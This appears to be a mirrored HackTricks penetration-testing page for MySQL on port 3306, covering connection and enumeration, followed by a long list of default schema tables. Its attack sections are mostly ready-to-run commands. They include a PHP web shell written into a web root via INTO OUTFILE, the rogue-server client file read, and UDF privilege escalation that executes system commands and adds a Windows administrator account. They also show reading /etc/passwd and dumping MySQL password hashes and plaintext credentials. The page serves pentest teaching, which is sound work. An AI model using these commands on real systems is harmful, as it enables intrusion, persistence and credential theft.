mirror of
https://github.com/carlospolop/hacktricks
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546 lines
15 KiB
Markdown
546 lines
15 KiB
Markdown
# 3306 - Pentesting Mysql
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## **Basic Information**
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**MySQL** is a freely available open source Relational Database Management System \(RDBMS\) that uses Structured Query Language \(**SQL**\).
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****From [here](https://www.siteground.com/tutorials/php-mysql/mysql/).
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**Default port:** 3306
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```text
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3306/tcp open mysql
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```
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## **Connect**
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### **Local**
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```bash
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mysql -u root # Connect to root without password
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mysql -u root -p # A password will be asked (check someone)
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```
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### Remote
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```bash
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mysql -h <Hostname> -u root
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mysql -h <Hostname> -u root@localhost
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```
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## Enumeration
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Some of the enumeration actions require valid credentials
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```bash
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nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
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msf> use auxiliary/scanner/mysql/mysql_version
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msf> use uxiliary/scanner/mysql/mysql_authbypass_hashdump
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msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
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msf> use auxiliary/admin/mysql/mysql_enum #Creds
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msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
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msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
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```
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### \*\*\*\*[**Brute force**](../brute-force.md#mysql)
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## Write any binary data
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```bash
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CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
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CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
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```
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## **Basic & interesting MySQL commands**
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```bash
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show databases;
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use <database>;
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show tables;
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describe <table_name>;
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select grantee, table_schema, privilege_type FROM schema_privileges; #Exact privileges
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select user,file_priv from mysql.user where user='root'; #File privileges
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select version(); #version
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select @@version(); #version
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select user(); #User
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select database(); #database name
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#Try to execute code
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select do_system('id');
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\! sh
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#Basic MySQLi
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Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
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Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"
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#Read & Write
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select load_file('/var/lib/mysql-files/key.txt'); #Read file
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select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'
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#Try to change MySQL root password
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UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
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UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
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FLUSH PRIVILEGES;
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quit;
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```
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```bash
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mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
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mysql -u root -h 127.0.0.1 -e 'show databases;'
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```
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## MySQL arbitrary read file by client
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Actually, when you try to **load data local into a table** the **content of a file** the MySQL or MariaDB server asks the **client to read it** and send the content. **Then, if you can tamper a mysql client to connect to your own MyQSL server, you can read arbitrary files.**
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Please notice that this is the behaviour using:
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```bash
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load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
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```
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\(Notice the "local" word\)
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Because without the "local" you can get:
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```bash
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mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
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ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
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```
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**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)
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**In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)
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**Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)\*\*\*\*
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## POST
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### Mysql User
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It will be very interesting if mysql is running as **root**:
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```bash
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cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
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```
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### Privilege escalation
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How to:
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* Current Level of access
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* mysql>`select user();`
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* mysql>`select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user where user='OUTPUT OF select user()';`
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* Access passwords
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* mysql> `use mysql`
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* mysql> `select user,password from user;`
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* Create a new user and grant him privileges
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* mysql>`create user test identified by 'test';`
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* mysql> `grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;`
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* Break into a shell
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* mysql> `\! cat /etc/passwd`
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* mysql> `\! bash`
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### Privilege Escalation via library
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You can find **compiled versions** of this **libraries** in sqlmap: `locate lib_mysqludf_sys.so` and `locate lib_mysqludf_sys.dll`Instead of `locate` you can also use `whereis` to search for this libraries inside the host.
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#### Linux
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```sql
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use mysql;
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create table npn(line blob);
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insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
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select * from npn into dumpfile '/tmp/lib_mysqludf_sys.so';
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create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
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select sys_exec('id > /tmp/out.txt');
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```
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#### Windows
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```sql
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USE mysql;
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CREATE TABLE npn(line blob);
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INSERT INTO npn values(load_files('C://temp//lib_mysqludf_sys.dll'));
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SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
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CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
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SELECT sys_exec("net user npn npn12345678 /add");
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SELECT sys_exec("net localgroup Administrators npn /add");
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```
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### Extracting MySQL credentials from the database
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```sql
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SELECT User,Host,Password FROM mysql.user;
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SELECT User,Host,authentication_string FROM mysql.user;
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```
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```bash
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mysql -u root --password=<PASSWORD> -e "SELECT User,Host,authentication_string FROM mysql.user;"
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```
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### Extracting MySQL credentials from files
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Inside _/etc/mysql/debian.cnf_ you can find the **plain-text password** of the user **debian-sys-maint**
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```bash
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cat /etc/mysql/debian.cnf
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```
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You can **use these credentials to login in the mysql database**.
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Inside the file: _/var/lib/mysql/mysql/user.MYD_ you can find **all the hashes of the MySQL users** \(the ones that you can extract from mysql.user inside the database\)_._
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You can extract them doing:
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```bash
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grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
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```
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### Enabling logging
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You can enable logging of mysql queries inside `/etc/mysql/my.cnf` uncommenting the following lines:
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### Useful files
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Configuration Files
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* windows
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* * config.ini
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* my.ini
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* windows\my.ini
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* winnt\my.ini
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* <InstDir>/mysql/data/
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* unix
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* my.cnf
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* /etc/my.cnf
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* /etc/mysql/my.cnf
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* /var/lib/mysql/my.cnf
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* ~/.my.cnf
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* /etc/my.cnf
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* Command History
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* ~/.mysql.history
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* Log Files
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* connections.log
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* update.log
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* common.log
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## Default MySQL Database/Tables
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{% tabs %}
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{% tab title="information\_schema" %}
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ALL\_PLUGINS
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APPLICABLE\_ROLES
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CHARACTER\_SETS
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CHECK\_CONSTRAINTS
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COLLATIONS
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COLLATION\_CHARACTER\_SET\_APPLICABILITY
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COLUMNS
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COLUMN\_PRIVILEGES
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ENABLED\_ROLES
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ENGINES
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EVENTS
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FILES
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GLOBAL\_STATUS
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GLOBAL\_VARIABLES
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KEY\_COLUMN\_USAGE
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KEY\_CACHES
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OPTIMIZER\_TRACE
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PARAMETERS
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PARTITIONS
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PLUGINS
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PROCESSLIST
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PROFILING
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REFERENTIAL\_CONSTRAINTS
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ROUTINES
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SCHEMATA
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SCHEMA\_PRIVILEGES
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SESSION\_STATUS
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SESSION\_VARIABLES
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STATISTICS
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SYSTEM\_VARIABLES
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TABLES
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TABLESPACES
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TABLE\_CONSTRAINTS
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TABLE\_PRIVILEGES
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TRIGGERS
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USER\_PRIVILEGES
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VIEWS
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INNODB\_LOCKS
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INNODB\_TRX
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INNODB\_SYS\_DATAFILES
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INNODB\_FT\_CONFIG
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INNODB\_SYS\_VIRTUAL
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INNODB\_CMP
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INNODB\_FT\_BEING\_DELETED
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INNODB\_CMP\_RESET
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INNODB\_CMP\_PER\_INDEX
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INNODB\_CMPMEM\_RESET
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INNODB\_FT\_DELETED
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INNODB\_BUFFER\_PAGE\_LRU
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INNODB\_LOCK\_WAITS
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INNODB\_TEMP\_TABLE\_INFO
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INNODB\_SYS\_INDEXES
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INNODB\_SYS\_TABLES
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INNODB\_SYS\_FIELDS
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INNODB\_CMP\_PER\_INDEX\_RESET
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INNODB\_BUFFER\_PAGE
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INNODB\_FT\_DEFAULT\_STOPWORD
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INNODB\_FT\_INDEX\_TABLE
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INNODB\_FT\_INDEX\_CACHE
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INNODB\_SYS\_TABLESPACES
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INNODB\_METRICS
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INNODB\_SYS\_FOREIGN\_COLS
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INNODB\_CMPMEM
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INNODB\_BUFFER\_POOL\_STATS
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INNODB\_SYS\_COLUMNS
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INNODB\_SYS\_FOREIGN
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INNODB\_SYS\_TABLESTATS
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GEOMETRY\_COLUMNS
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SPATIAL\_REF\_SYS
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CLIENT\_STATISTICS
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INDEX\_STATISTICS
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USER\_STATISTICS
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INNODB\_MUTEXES
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TABLE\_STATISTICS
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INNODB\_TABLESPACES\_ENCRYPTION
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user\_variables
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INNODB\_TABLESPACES\_SCRUBBING
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INNODB\_SYS\_SEMAPHORE\_WAITS
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{% endtab %}
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{% tab title="mysql" %}
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columns\_priv
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column\_stats
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db
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engine\_cost
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event
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func
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general\_log
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gtid\_executed
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gtid\_slave\_pos
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help\_category
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help\_keyword
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help\_relation
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help\_topic
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host
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index\_stats
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innodb\_index\_stats
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innodb\_table\_stats
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ndb\_binlog\_index
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plugin
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proc
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procs\_priv
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proxies\_priv
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roles\_mapping
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server\_cost
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servers
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slave\_master\_info
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slave\_relay\_log\_info
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slave\_worker\_info
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slow\_log
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tables\_priv
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table\_stats
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time\_zone
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time\_zone\_leap\_second
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time\_zone\_name
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time\_zone\_transition
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time\_zone\_transition\_type
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transaction\_registry
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user
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{% endtab %}
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{% tab title="performance\_schema" %}
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accounts
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cond\_instances
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events\_stages\_current
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events\_stages\_history
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events\_stages\_history\_long
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events\_stages\_summary\_by\_account\_by\_event\_name
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events\_stages\_summary\_by\_host\_by\_event\_name
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events\_stages\_summary\_by\_thread\_by\_event\_name
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events\_stages\_summary\_by\_user\_by\_event\_name
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events\_stages\_summary\_global\_by\_event\_name
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events\_statements\_current
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events\_statements\_history
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events\_statements\_history\_long
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events\_statements\_summary\_by\_account\_by\_event\_name
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events\_statements\_summary\_by\_digest
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events\_statements\_summary\_by\_host\_by\_event\_name
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events\_statements\_summary\_by\_program
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events\_statements\_summary\_by\_thread\_by\_event\_name
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events\_statements\_summary\_by\_user\_by\_event\_name
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events\_statements\_summary\_global\_by\_event\_name
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events\_transactions\_current
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events\_transactions\_history
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events\_transactions\_history\_long
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events\_transactions\_summary\_by\_account\_by\_event\_name
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events\_transactions\_summary\_by\_host\_by\_event\_name
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events\_transactions\_summary\_by\_thread\_by\_event\_name
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events\_transactions\_summary\_by\_user\_by\_event\_name
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events\_transactions\_summary\_global\_by\_event\_name
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events\_waits\_current
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events\_waits\_history
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events\_waits\_history\_long
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events\_waits\_summary\_by\_account\_by\_event\_name
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events\_waits\_summary\_by\_host\_by\_event\_name
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events\_waits\_summary\_by\_instance
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events\_waits\_summary\_by\_thread\_by\_event\_name
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events\_waits\_summary\_by\_user\_by\_event\_name
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events\_waits\_summary\_global\_by\_event\_name
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file\_instances
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file\_summary\_by\_event\_name
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file\_summary\_by\_instance
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global\_status
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global\_variables
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host\_cache
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hosts
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memory\_summary\_by\_account\_by\_event\_name
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memory\_summary\_by\_host\_by\_event\_name
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memory\_summary\_by\_thread\_by\_event\_name
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memory\_summary\_by\_user\_by\_event\_name
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memory\_summary\_global\_by\_event\_name
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metadata\_locks
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mutex\_instances
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objects\_summary\_global\_by\_type
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performance\_timers
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prepared\_statements\_instances
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replication\_applier\_configuration
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replication\_applier\_status
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replication\_applier\_status\_by\_coordinator
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replication\_applier\_status\_by\_worker
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replication\_connection\_configuration
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replication\_connection\_status
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replication\_group\_member\_stats
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replication\_group\_members
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rwlock\_instances
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session\_account\_connect\_attrs
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session\_connect\_attrs
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session\_status
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session\_variables
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setup\_actors
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setup\_consumers
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setup\_instruments
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setup\_objects
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setup\_timers
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socket\_instances
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socket\_summary\_by\_event\_name
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socket\_summary\_by\_instance
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status\_by\_account
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status\_by\_host
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status\_by\_thread
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status\_by\_user
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table\_handles
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table\_io\_waits\_summary\_by\_index\_usage
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table\_io\_waits\_summary\_by\_table
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table\_lock\_waits\_summary\_by\_table
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threads
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user\_variables\_by\_thread
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users
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variables\_by\_thread
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{% endtab %}
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{% tab title="sys" %}
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host\_summary
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host\_summary\_by\_file\_io
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host\_summary\_by\_file\_io\_type
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host\_summary\_by\_stages
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host\_summary\_by\_statement\_latency
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host\_summary\_by\_statement\_type
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innodb\_buffer\_stats\_by\_schema
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innodb\_buffer\_stats\_by\_table
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innodb\_lock\_waits
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io\_by\_thread\_by\_latency
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io\_global\_by\_file\_by\_bytes
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io\_global\_by\_file\_by\_latency
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io\_global\_by\_wait\_by\_bytes
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io\_global\_by\_wait\_by\_latency
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latest\_file\_io
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memory\_by\_host\_by\_current\_bytes
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memory\_by\_thread\_by\_current\_bytes
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memory\_by\_user\_by\_current\_bytes
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memory\_global\_by\_current\_bytes
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memory\_global\_total
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metrics
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processlist
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ps\_check\_lost\_instrumentation
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schema\_auto\_increment\_columns
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schema\_index\_statistics
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schema\_object\_overview
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schema\_redundant\_indexes
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schema\_table\_lock\_waits
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schema\_table\_statistics
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schema\_table\_statistics\_with\_buffer
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schema\_tables\_with\_full\_table\_scans
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schema\_unused\_indexes
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session
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session\_ssl\_status
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statement\_analysis
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statements\_with\_errors\_or\_warnings
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statements\_with\_full\_table\_scans
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statements\_with\_runtimes\_in\_95th\_percentile
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statements\_with\_sorting
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statements\_with\_temp\_tables
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sys\_config
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user\_summary
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user\_summary\_by\_file\_io
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user\_summary\_by\_file\_io\_type
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user\_summary\_by\_stages
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user\_summary\_by\_statement\_latency
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user\_summary\_by\_statement\_type
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version
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wait\_classes\_global\_by\_avg\_latency
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wait\_classes\_global\_by\_latency
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waits\_by\_host\_by\_latency
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waits\_by\_user\_by\_latency
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waits\_global\_by\_latency
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x$host\_summary
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x$host\_summary\_by\_file\_io
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x$host\_summary\_by\_file\_io\_type
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x$host\_summary\_by\_stages
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x$host\_summary\_by\_statement\_latency
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x$host\_summary\_by\_statement\_type
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x$innodb\_buffer\_stats\_by\_schema
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x$innodb\_buffer\_stats\_by\_table
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x$innodb\_lock\_waits
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x$io\_by\_thread\_by\_latency
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x$io\_global\_by\_file\_by\_bytes
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x$io\_global\_by\_file\_by\_latency
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x$io\_global\_by\_wait\_by\_bytes
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x$io\_global\_by\_wait\_by\_latency
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x$latest\_file\_io
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x$memory\_by\_host\_by\_current\_bytes
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x$memory\_by\_thread\_by\_current\_bytes
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x$memory\_by\_user\_by\_current\_bytes
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x$memory\_global\_by\_current\_bytes
|
|
x$memory\_global\_total
|
|
x$processlist
|
|
x$ps\_digest\_95th\_percentile\_by\_avg\_us
|
|
x$ps\_digest\_avg\_latency\_distribution
|
|
x$ps\_schema\_table\_statistics\_io
|
|
x$schema\_flattened\_keys
|
|
x$schema\_index\_statistics
|
|
x$schema\_table\_lock\_waits
|
|
x$schema\_table\_statistics
|
|
x$schema\_table\_statistics\_with\_buffer
|
|
x$schema\_tables\_with\_full\_table\_scans
|
|
x$session
|
|
x$statement\_analysis
|
|
x$statements\_with\_errors\_or\_warnings
|
|
x$statements\_with\_full\_table\_scans
|
|
x$statements\_with\_runtimes\_in\_95th\_percentile
|
|
x$statements\_with\_sorting
|
|
x$statements\_with\_temp\_tables
|
|
x$user\_summary
|
|
x$user\_summary\_by\_file\_io
|
|
x$user\_summary\_by\_file\_io\_type
|
|
x$user\_summary\_by\_stages
|
|
x$user\_summary\_by\_statement\_latency
|
|
x$user\_summary\_by\_statement\_type
|
|
x$wait\_classes\_global\_by\_avg\_latency
|
|
x$wait\_classes\_global\_by\_latency
|
|
x$waits\_by\_host\_by\_latency
|
|
x$waits\_by\_user\_by\_latency
|
|
x$waits\_global\_by\_latency
|
|
{% endtab %}
|
|
{% endtabs %}
|
|
|